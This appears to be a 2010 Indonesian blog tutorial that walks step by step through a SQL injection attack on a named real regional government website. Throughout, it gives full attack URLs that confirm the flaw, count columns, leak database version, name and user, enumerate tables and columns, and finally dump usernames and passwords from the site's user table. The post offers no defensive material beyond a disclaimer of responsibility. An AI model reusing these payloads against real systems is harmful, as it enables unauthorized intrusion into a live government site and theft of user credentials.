Your Ad Here

Kamis, 29 April 2010

PoC SQL Injection

Berikut ini akan disajikan langkah demi langkah SQL Injection yang diimplementasikan pada web http://www.gunungkidulkab.go.id. Tutorial ini hanya untuk pemula (just to share) dan untuk para master yang telah berpengalaman dianjurkan memberikan masukan agar tekniknya menjadi lebih menarik.

Langkah-langkahnya sebagai berikut :
1. Lakukan pengecekan dengan memasukkan karakter tanda petik satu single_quote ( ' ) dan mengujinya dengan operator logika ( AND ).
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=870'

Hasil Uji :
-Halaman akan menampilkan pesan error
Code:

Fatal error: Call to a member function MoveNext() on a non-object in /var/www/sites/gunungkidulkab.go.id/gunungkidulkab.go.id/subdomains/www/html/program/publish_content.php on line 225

Code:

http://www.gunungkidulkab.go.id/home...id=870+and+1=1
http://www.gunungkidulkab.go.id/home...id=870+and+1=6

Hasil Uji :
-Pada pengecekan AND+1=1 yang dihasilkan adalah TRUE, maka halaman akan tampil secara normal.
-Pada pengecekan AND+1=6 hasilnya adalah FALSE, halaman akan menampilkan pesan kesalahan (tidak berjalan normal).

2. Memeriksa jumlah field dari suatu tabel. Perintah yang digunakan adalah ORDER+BY+num, lakukan penambahan/increment pada variabel num. Parameternya adalah jika field masih tersedia maka halaman akan berjalan normal, namun sebaliknya jika field tidak tersedia maka halaman akan menampilkan pesan error. Pada contoh kali ini ditemukan batas akhir field sampai pada angka 14.
Code:

http://www.gunungkidulkab.go.id/home...+order+by+14--

Mengapa ada tanda -- diakhir perintah? Tanda -- adalah parameter komentar pada sintaks sql, bisa juga menggunakan /*. Sesuai dengan fungsinya kita akan men-set komentar terhadap sintaks setelah klausa WHERE. Kebetulan pada contoh kasus kali ini, setelah klausa WHERE terdapat perintah sql yg lain entah itu ORDER atau LIMIT. Untuk itu digunakan parameter komentar agar perintah sql tersebut tidak dijalankan sehingga kita mendapatkan pesan error jika field yang di ORDER tidak tersedia.

Coba bandingkan jika parameter komentar tidak digunakan, meskipun kita melakukan ORDER BY 1 dan ORDER BY 100 halaman akan tetap menampilkan pesan error. Kalau kejadiannya seperti ini dari mana kita bisa mengetahui jumlah field yang di-select??

3. Mengeluarkan nomor field untuk menampilkan informasi yang diinginkan. Perintah yang digunakan adalah UNION+ALL+SELECT+no_field+no_field+....
Code:

http://www.gunungkidulkab.go.id/home...,11,12,13,14--

Pada contoh kali ini, variabel id kita beri nilai null agar angka-angka yang kita deklarasikan keluar, atau bisa juga menggunakan tanda minus (id=-870). Dari angka-angka yang tercetak pada halaman web, kita akan mengeluarkan informasi dari versi mysql, nama database dan nama user.
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-870+union+all+select+1,2,3,4,5,concat_ws(0x2B,version(),database(),user()),7,8,9,10,11,12,13,14--

4. Selanjutnya kita akan mengeluarkan nama-nama tabel dengan perintah UNION+ALL+SELECT+no_field+no_field+GROUP_CONCAT(TA BLE_NAME)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TAB LE_SCHEMA=DATABASE(). Gunakan klausa WHERE TABLE_SCHEMA=DATABASE(), agar tabel yang keluar adalah tabel dari database yang digunakan. Kalau Anda ingin melihat seluruh tabel dari seluruh database klausa WHERE tidak perlu Anda gunakan.
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-870+union+all+select+1,2,3,4,5,concat_ws(0x2B,version(),database(),user()),7,group_concat(table_name),9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()--

Pada perintah diatas, Anda dapat mengganti concat_ws(0x2B,version(),database(),user()) dengan angka 6, jika Anda tidak ingin menampilkan informasi tentang versi mysql, nama database, dan nama user.

5. Nama tabel telah kita ketahui, selanjutnya kita akan mengeluarkan nama field dari tabel yang menyimpan UserID dan Password pengguna. Pada website ini nama tabel yang dimaksud adalah tblpengguna. Sintaks dasarnya adalah UNION+ALL+SELECT+no_field+no_field+GROUP_CONCAT(CO LUMN_NAME)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+T ABLE_NAME='NAMA_TABLE'. Jika terjadi error maka kita harus meng-konversi nama tabel ke bentuk hexadecimal_sql sehingga menjadi 0x74626C70656E6767756E61
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-870+union+all+select+1,2,3,4,5,6,7,group_concat(column_name),9,10,11,12,13,14+from+information_schema.columns+where+table_name=0x74626C70656E6767756E61--

6. Langkah terakhir kita akan mengeluarkan record-record dari tabel tblpengguna. Sintaks dasarnya UNION+ALL+SELECT+no_field+no_field+CONCAT_WS(PEMIS AH_HEXA_SQL,NAMA_FIELD1,NAMA_FIELD2,....)+FROM+NAM A_TABLE. Kalau dijalankan pada contoh kasus kali ini menjadi :
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-870+union+all+select+1,2,3,4,5,6,7,concat_ws(0x2B,tblpengguna_login,tblpengguna_pass),9,10,11,12,13,14+from+tblpengguna--

Sampai disini selesai sudah penyajian penulis mengenai langkah demi langkah SQL Injection pada Web Kabupaten Gunung Kidul. Penulis tidak bertanggung jawab atas segala dampak negatif akibat penyalahgunaan artikel ini. Mohon dikoreksi jika terdapat kekurangan ataupun kesalahan.
Share on Twitter

0 komentar:

Posting Komentar